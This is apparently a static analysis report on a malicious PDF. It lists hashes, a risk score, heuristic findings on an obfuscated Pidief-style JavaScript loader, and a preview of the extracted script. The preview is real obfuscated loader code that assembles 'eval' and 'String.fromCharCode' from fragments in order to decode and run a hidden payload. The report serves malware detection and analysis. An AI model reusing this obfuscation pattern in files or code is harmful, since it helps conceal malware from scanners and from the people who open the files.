Malicious PDF — malware analysis report

Static analysis result for SHA-256 46698ae57db86985…

MALICIOUS

PDF

44.7 KB First seen: 2013-07-12
MD5: c0c9ebb1a65f0e699f489c4ac4d66adf SHA-1: 8053e1f9509eea8b91cdd1c5db8c71dcfec62a12 SHA-256: 46698ae57db8698536e498294eec06115707eea771443371f7ec8d15ff32d4a4
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious JavaScript

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier also strongly flagged this PDF as malicious. The embedded JavaScript is likely intended to download and execute a second-stage payload, although the specific actions are not detailed due to the lack of script content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB015 488 bytes
SHA-256: 117fbdf04fd0e72c2f585f1d99788edd212029ae1f7297b523e29c12154420de
Preview script
First 1,000 lines of the extracted script
cbc='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+b+a[1]+(a,t[0])];
pzshl=e('ti'+'tle');
s=pzshl.substr(t.length + 8,3)+'str';
q=pzshl[s](1,(1,t.length + 7));
gsee=e('S'+'tring.fro'+q);
q=pzshl[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	rmsd = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	cbc += gsee(rmsd);
}
e(cbc);

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